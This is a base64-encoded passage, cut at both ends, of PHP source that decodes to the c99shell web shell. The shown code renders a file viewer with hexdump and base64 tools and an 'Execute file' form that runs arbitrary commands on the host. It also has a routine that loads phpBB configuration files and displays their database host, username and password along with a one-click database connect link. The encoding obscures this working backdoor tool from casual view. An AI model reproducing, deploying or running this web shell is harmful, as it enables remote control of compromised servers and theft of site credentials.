ICAiZXhlIg0KICAgICAgICAgICAgICAgICkgLA0KICAgICAgICAgICAgICAgIGFycmF5KA0KICAg
ICAgICAgICAgICAgICAgICAiU0RCIiwNCiAgICAgICAgICAgICAgICAgICAgInNkYiINCiAgICAg
ICAgICAgICAgICApICwNCiAgICAgICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAg
ICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWV4dF9naWZcIiBib3JkZXI9
XCIwXCI+IiwNCiAgICAgICAgICAgICAgICAgICAgImltZyINCiAgICAgICAgICAgICAgICApICwN
CiAgICAgICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgIjxpbWcgc3JjPVwi
IiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPWV4dF9pbmlcIiBib3JkZXI9XCIwXCI+IiwNCiAgICAg
ICAgICAgICAgICAgICAgImluaSINCiAgICAgICAgICAgICAgICApICwNCiAgICAgICAgICAgICAg
ICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFj
dD1pbWcmaW1nPWRvd25sb2FkXCIgYm9yZGVyPVwiMFwiPiIsDQogICAgICAgICAgICAgICAgICAg
ICJkb3dubG9hZCINCiAgICAgICAgICAgICAgICApICwNCiAgICAgICAgICAgICAgICBhcnJheSgN
CiAgICAgICAgICAgICAgICAgICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1n
PWV4dF9ydGZcIiBib3JkZXI9XCIwXCI+IiwNCiAgICAgICAgICAgICAgICAgICAgIm5vdGVwYWQi
DQogICAgICAgICAgICAgICAgKSAsDQogICAgICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAg
ICAgICAgICAgICI8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1jaGFuZ2VcIiBi
b3JkZXI9XCIwXCI+IiwNCiAgICAgICAgICAgICAgICAgICAgImVkaXQiDQogICAgICAgICAgICAg
ICAgKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIGVjaG8gIjxiPlZpZXdpbmcgZmlsZTom
bmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmlt
Zz1leHRfIiAuICRleHQgLiAiXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIgLiAkZiAuICIgKCIgLiB2
aWV3X3NpemUoZmlsZXNpemUoJGQgLiAkZikpIC4gIikgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7
Jm5ic3A7IiAuIHZpZXdfcGVybXNfY29sb3IoJGQgLiAkZikgLiAiPC9iPjxicj5TZWxlY3QgYWN0
aW9uL2ZpbGUtdHlwZTo8YnI+IjsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRhcnIgYXMgJHQpDQog
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKCR0WzFdID09ICRyZnQpDQogICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj1cIiIgLiAkc3Vy
bCAuICJhY3Q9ZiZmPSIgLiB1cmxlbmNvZGUoJGYpIC4gIiZmdD0iIC4gJHRbMV0gLiAiJmQ9IiAu
IHVybGVuY29kZSgkZCkgLiAiXCI+PGZvbnQgY29sb3I9Z3JlZW4+IiAuICR0WzBdIC4gIjwvZm9u
dD48L2E+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZWlmICgkdFsx
XSA9PSAkZnQpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICIg
PGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9ZiZmPSIgLiB1cmxlbmNvZGUoJGYpIC4gIiZmdD0i
IC4gJHRbMV0gLiAiJmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiXCI+PGI+PHU+IiAuICR0WzBdIC4g
IjwvdT48L2I+PC9hPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UN
CiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPVwi
IiAuICRzdXJsIC4gImFjdD1mJmY9IiAuIHVybGVuY29kZSgkZikgLiAiJmZ0PSIgLiAkdFsxXSAu
ICImZD0iIC4gdXJsZW5jb2RlKCRkKSAuICJcIj48Yj4iIC4gJHRbMF0gLiAiPC9iPjwvYT4iOw0K
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICIgKDxhIGhyZWY9XCIiIC4g
JHN1cmwgLiAiYWN0PWYmZj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZnQ9IiAuICR0WzFdIC4gIiZ3
aGl0ZT0xJmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiXCIgdGFyZ2V0PVwiX2JsYW5rXCI+KzwvYT4p
IHwiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9z
aGFkZT4iOw0KICAgICAgICAgICAgaWYgKCRmdCA9PSAiaW5mbyIpDQogICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgZWNobyAiPGI+SW5mb3JtYXRpb246PC9iPjx0YWJsZSBib3JkZXI9MCBj
ZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+PHRyPjx0ZD48Yj5QYXRoPC9iPjwvdGQ+PHRkPiAi
IC4gJGQgLiAkZiAuICI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5TaXplPC9iPjwvdGQ+PHRkPiAiIC4g
dmlld19zaXplKGZpbGVzaXplKCRkIC4gJGYpKSAuICI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NRDU8
L2I+PC90ZD48dGQ+ICIgLiBtZDVfZmlsZSgkZCAuICRmKSAuICI8L3RkPjwvdHI+IjsNCiAgICAg
ICAgICAgICAgICBpZiAoISR3aW4pDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICBlY2hvICI8dHI+PHRkPjxiPk93bmVyL0dyb3VwPC9iPjwvdGQ+PHRkPiAiOw0KICAgICAg
ICAgICAgICAgICAgICAkb3cgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJGQgLiAkZikpOw0K
ICAgICAgICAgICAgICAgICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQgLiAk
ZikpOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICgkb3dbIm5hbWUiXSA/ICRvd1sibmFtZSJd
IDogZmlsZW93bmVyKCRkIC4gJGYpKSAuICIvIiAuICgkZ3JbIm5hbWUiXSA/ICRnclsibmFtZSJd
IDogZmlsZWdyb3VwKCRkIC4gJGYpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIiAuICRzdXJs
IC4gImFjdD1jaG1vZCZmPSIgLiB1cmxlbmNvZGUoJGYpIC4gIiZkPSIgLiB1cmxlbmNvZGUoJGQp
IC4gIlwiPiIgLiB2aWV3X3Blcm1zX2NvbG9yKCRkIC4gJGYpIC4gIjwvYT48L3RkPjwvdHI+PHRy
Pjx0ZD48Yj5DcmVhdGUgdGltZTwvYj48L3RkPjx0ZD4gIiAuIGRhdGUoImQvbS9ZIEg6aTpzIiwg
ZmlsZWN0aW1lKCRkIC4gJGYpKSAuICI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwv
Yj48L3RkPjx0ZD4gIiAuIGRhdGUoImQvbS9ZIEg6aTpzIiwgZmlsZWF0aW1lKCRkIC4gJGYpKSAu
ICI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIiAuIGRhdGUo
ImQvbS9ZIEg6aTpzIiwgZmlsZW10aW1lKCRkIC4gJGYpKSAuICI8L3RkPjwvdHI+PC90YWJsZT48
YnI+IjsNCiAgICAgICAgICAgICAgICAkZmkgPSBmb3BlbigkZCAuICRmLCAicmIiKTsNCiAgICAg
ICAgICAgICAgICBpZiAoJGZpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAg
ICAgaWYgKCRmdWxsaGV4ZHVtcCkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAgICAgZWNobyAiPGI+RlVMTCBIRVhEVU1QPC9iPiI7DQogICAgICAgICAgICAgICAg
ICAgICAgICAkc3RyID0gZnJlYWQoJGZpLCBmaWxlc2l6ZSgkZCAuICRmKSk7DQogICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8Yj5IRVhEVU1QIFBSRVZJRVc8L2I+
IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzdHIgPSBmcmVhZCgkZmksICRoZXhkdW1wX2xp
bmVzICogJGhleGR1bXBfcm93cyk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAgICAgICAgICAkYTAgPSAiMDAwMDAwMDA8YnI+
IjsNCiAgICAgICAgICAgICAgICAgICAgJGExID0gIiI7DQogICAgICAgICAgICAgICAgICAgICRh
MiA9ICIiOw0KICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDskaSA8IHN0cmxlbigkc3Ry
KTskaSsrKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAk
YTEgLj0gc3ByaW50ZigiJTAyWCIsIG9yZCgkc3RyWyRpXSkpIC4gIiAiOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKQ0KICAgICAgICAgICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMDoNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7DQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAz
MjoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDEwOg0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIGNhc2UgMTM6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRh
MiAuPSAiJm5ic3A7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7DQogICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkbisrOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpDQogICAgICAgICAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG4gPSAwOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGlmICgkaSArIDEgPCBzdHJsZW4oJHN0cikpDQogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYTAgLj0g
c3ByaW50ZigiJTA4WCIsICRpICsgMSkgLiAiPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhMSAuPSAiPGJyPiI7DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgJGEyIC49ICI8YnI+IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlY2hv
ICI8dGFibGUgYm9yZGVyPTAgYmdjb2xvcj0jNjY2NjY2IGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRp
bmc9ND48dHI+PHRkIGJnY29sb3I9IzY2NjY2Nj4iIC4gJGEwIC4gIjwvdGQ+PHRkIGJnY29sb3I9
MDAwMDAwPiIgLiAkYTEgLiAiPC90ZD48dGQgYmdjb2xvcj0wMDAwMDA+IiAuICRhMiAuICI8L3Rk
PjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
JGVuY29kZWQgPSAiIjsNCiAgICAgICAgICAgICAgICBpZiAoJGJhc2U2NCA9PSAxKQ0KICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwv
Yj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZp
bGVfZ2V0X2NvbnRlbnRzKCRkIC4gJGYpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgZWxzZWlmICgkYmFzZTY0ID09IDIpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bms8L2I+PGJyPiI7DQogICAg
ICAgICAgICAgICAgICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxl
X2dldF9jb250ZW50cygkZCAuICRmKSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICBlbHNlaWYgKCRiYXNlNjQgPT0gMykNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGUgKyBDaHVuayArIFF1b3RlczwvYj48YnI+
IjsNCiAgICAgICAgICAgICAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0
X2NvbnRlbnRzKCRkIC4gJGYpKTsNCiAgICAgICAgICAgICAgICAgICAgJGVuY29kZWQgPSBzdWJz
dHIocHJlZ19yZXBsYWNlKCIhLnsxLDc2fSEiLCAiJ1xcMCcuXG4iLCAkZW5jb2RlZCkgLCAwLCAt
Mik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJGJhc2U2NCA9
PSA0KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHRleHQgPSBmaWxl
X2dldF9jb250ZW50cygkZCAuICRmKTsNCiAgICAgICAgICAgICAgICAgICAgJGVuY29kZWQgPSBi
YXNlNjRfZGVjb2RlKCR0ZXh0KTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+QmFzZTY0
IERlY29kZSI7DQogICAgICAgICAgICAgICAgICAgIGlmIChiYXNlNjRfZW5jb2RlKCRlbmNvZGVk
KSAhPSAkdGV4dCkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgZWNobyAiIChmYWlsZWQpIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8L2I+PGJyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgIGlmICghZW1wdHkoJGVuY29kZWQpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgZWNobyAiPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMD4iIC4gaHRtbHNwZWNpYWxj
aGFycygkZW5jb2RlZCkgLiAiPC90ZXh0YXJlYT48YnI+PGJyPiI7DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1c
IiIgLiAkc3VybCAuICJhY3Q9ZiZmPSIgLiB1cmxlbmNvZGUoJGYpIC4gIiZmdD1pbmZvJmZ1bGxo
ZXhkdW1wPTEmZD0iIC4gdXJsZW5jb2RlKCRkKSAuICJcIj5GdWxsPC9hPl0gWzxhIGhyZWY9XCIi
IC4gJHN1cmwgLiAiYWN0PWYmZj0iIC4gdXJsZW5jb2RlKCRmKSAuICImZnQ9aW5mbyZkPSIgLiB1
cmxlbmNvZGUoJGQpIC4gIlwiPlByZXZpZXc8L2E+XTxicj48Yj5CYXNlNjQ6IDwvYj4NCjxub2Jy
Pls8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1mJmY9IiAuIHVybGVuY29kZSgkZikgLiAiJmZ0
PWluZm8mYmFzZTY0PTEmZD0iIC4gdXJsZW5jb2RlKCRkKSAuICJcIj5FbmNvZGU8L2E+XSZuYnNw
Ozwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD1mJmY9IiAuIHVybGVu
Y29kZSgkZikgLiAiJmZ0PWluZm8mYmFzZTY0PTImZD0iIC4gdXJsZW5jb2RlKCRkKSAuICJcIj4r
Y2h1bms8L2E+XSZuYnNwOzwvbm9icj4NCjxub2JyPls8YSBocmVmPVwiIiAuICRzdXJsIC4gImFj
dD1mJmY9IiAuIHVybGVuY29kZSgkZikgLiAiJmZ0PWluZm8mYmFzZTY0PTMmZD0iIC4gdXJsZW5j
b2RlKCRkKSAuICJcIj4rY2h1bmsrcXVvdGVzPC9hPl0mbmJzcDs8L25vYnI+DQo8bm9icj5bPGEg
aHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9ZiZmPSIgLiB1cmxlbmNvZGUoJGYpIC4gIiZmdD1pbmZv
JmJhc2U2ND00JmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiXCI+RGVjb2RlPC9hPl0mbmJzcDs8L25v
YnI+DQo8UD4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkZnQgPT0gImh0
bWwiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgkd2hpdGUpDQogICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBAb2JfY2xlYW4oKTsNCiAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAkcjsNCiAgICAgICAgICAgICAgICBpZiAoJHdo
aXRlKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgYzk5c2hleGl0KCk7
DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgk
ZnQgPT0gInR4dCIpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiPHByZT4i
IC4gaHRtbHNwZWNpYWxjaGFycygkcikgLiAiPC9wcmU+IjsNCiAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgIGVsc2VpZiAoJGZ0ID09ICJpbmkiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgIGVjaG8gIjxwcmU+IjsNCiAgICAgICAgICAgICAgICB2YXJfZHVtcChwYXJzZV9pbmlfZmls
ZSgkZCAuICRmLCB0cnVlKSk7DQogICAgICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsNCiAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikNCiAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAgICAgJHYg
PSBleHBsb2RlKCJ8IiwgJHIpOw0KICAgICAgICAgICAgICAgIGVjaG8gJHZbMF0gLiAiPGJyPiI7
DQogICAgICAgICAgICAgICAgdmFyX2R1bXAodW5zZXJpYWxpemUoJHZbMV0pKTsNCiAgICAgICAg
ICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlm
ICgkZnQgPT0gImV4ZSIpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGV4dCA9IGV4
cGxvZGUoIi4iLCAkZik7DQogICAgICAgICAgICAgICAgJGMgPSBjb3VudCgkZXh0KSAtIDE7DQog
ICAgICAgICAgICAgICAgJGV4dCA9ICRleHRbJGNdOw0KICAgICAgICAgICAgICAgICRleHQgPSBz
dHJ0b2xvd2VyKCRleHQpOw0KICAgICAgICAgICAgICAgICRyZnQgPSAiIjsNCiAgICAgICAgICAg
ICAgICBmb3JlYWNoICgkZXhlZnR5cGVzIGFzICRrID0+ICR2KQ0KICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgaWYgKGluX2FycmF5KCRleHQsICR2KSkNCiAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHJmdCA9ICRrOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCAkZiwgJHJm
dCk7DQogICAgICAgICAgICAgICAgZWNobyAiPGI+RXhlY3V0ZSBmaWxlOjwvYj48Zm9ybSBhY3Rp
b249XCIiIC4gJHN1cmwgLiAiXCIgbWV0aG9kPVBPU1Q+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9
YWN0IHZhbHVlPWNtZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCIi
IC4gaHRtbHNwZWNpYWxjaGFycygkY21kKSAuICJcIiBzaXplPVwiIiAuIChzdHJsZW4oJGNtZCkg
KyAyKSAuICJcIj48YnI+RGlzcGxheSBpbiB0ZXh0LWFyZWE8aW5wdXQgdHlwZT1cImNoZWNrYm94
XCIgbmFtZT1cImNtZF90eHRcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxpbnB1dCB0eXBlPWhpZGRl
biBuYW1lPVwiZFwiIHZhbHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGQpIC4gIlwiPjxicj48
aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+PC9mb3JtPiI7
DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlaWYgKCRmdCA9PSAic2RiIikNCiAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICBlY2hvICI8cHJlPiI7DQogICAgICAgICAgICAgICAg
dmFyX2R1bXAodW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkcikpKTsNCiAgICAgICAgICAgICAg
ICBlY2hvICI8L3ByZT4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkZnQg
PT0gImNvZGUiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNo
KCJwaHAiIC4gIkJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsICRyKSkNCiAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRhcnIgPSBleHBsb2RlKCJcbiIs
ICRyKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGNvdW50KCRhcnIgPT0gMTgpKQ0KICAgICAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpbmNsdWRlICgkZCAuICRm
KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPnBocEJCIGNvbmZpZ3VyYXRpb24g
aXMgZGV0ZWN0ZWQgaW4gdGhpcyBmaWxlITxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAg
aWYgKCRkYm1zID09ICJteXNxbDQiKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICRkYm1zID0gIm15c3FsIjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVj
aG8gIjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PXNxbCZzcWxfc2VydmVyPSIgLiBodG1sc3Bl
Y2lhbGNoYXJzKCRkYmhvc3QpIC4gIiZzcWxfbG9naW49IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGRi
dXNlcikgLiAiJnNxbF9wYXNzd2Q9IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGRicGFzc3dkKSAuICIm
c3FsX3BvcnQ9MzMwNiZzcWxfZGI9IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkgLiAiXCI+
PGI+PHU+Q29ubmVjdCB0byBEQjwvdT48L2I+PC9hPjxicj48YnI+IjsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJCdXQsIHlvdSBj
YW4ndCBjb25uZWN0IHRvIGZvcnVtIHNxbC1iYXNlLCBiZWNhdXNlIGRiLXNvZnR3YXJlPVwiIiAu
ICRkYm1zIC4gIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgYzk5c2hlbGwuIFBsZWFzZSwgcmVwb3J0
IHVzIGZvciBmaXguIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgICAgIGVjaG8gIlBhcmFtZXRlcnMgZm9yIG1hbnVhbCBjb25uZWN0Ojxicj4iOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgJGNmZ3ZhcnMgPSBhcnJheSgNCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAiZGJtcyIgPT4gJGRibXMsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ImRiaG9zdCIgPT4gJGRiaG9zdCwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGJuYW1l
IiA9PiAkZGJuYW1lLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkYnVzZXIiID0+ICRk
YnVzZXIsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgImRicGFzc3dkIiA9PiAkZGJwYXNz
d2QNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgICAgICBm
b3JlYWNoICgkY2ZndmFycyBhcyAkayA9PiAkdikNCiAgICAgICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGspIC4g
Ij0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHYpIC4gIic8YnI+IjsNCiAgICAgICAgICAgICAgICAg
ICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjwvYj48aHIgc2l6ZT1cIjFc
IiBub3NoYWRlPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZG
RkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBt
YXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIiAu
ICRoaWdobGlnaHRfYmFja2dyb3VuZCAuICI7XCI+IjsNCiAgICAgICAgICAgICAgICBpZiAoIWVt
cHR5KCR3aGl0ZSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBAb2Jf
Y2xlYW4oKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaGlnaGxpZ2h0X2Zp
bGUoJGQgLiAkZik7DQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkd2hpdGUpKQ0KICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgYzk5c2hleGl0KCk7DQogICAgICAgICAg
ICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjwvZGl2PiI7DQogICAgICAgICAgICB9DQog
ICAgICAgICAgICBlbHNlaWYgKCRmdCA9PSAiZG93bmxvYWQiKQ0KICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgICAgICAgICAgIGhlYWRlcigiQ29udGVu
dC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICAgICAgICAgICAgICBoZWFk
ZXIoIkNvbnRlbnQtbGVuZ3RoOiAiIC4gZmlsZXNpemUoJGQgLiAkZikpOw0KICAgICAgICAgICAg
ICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIi
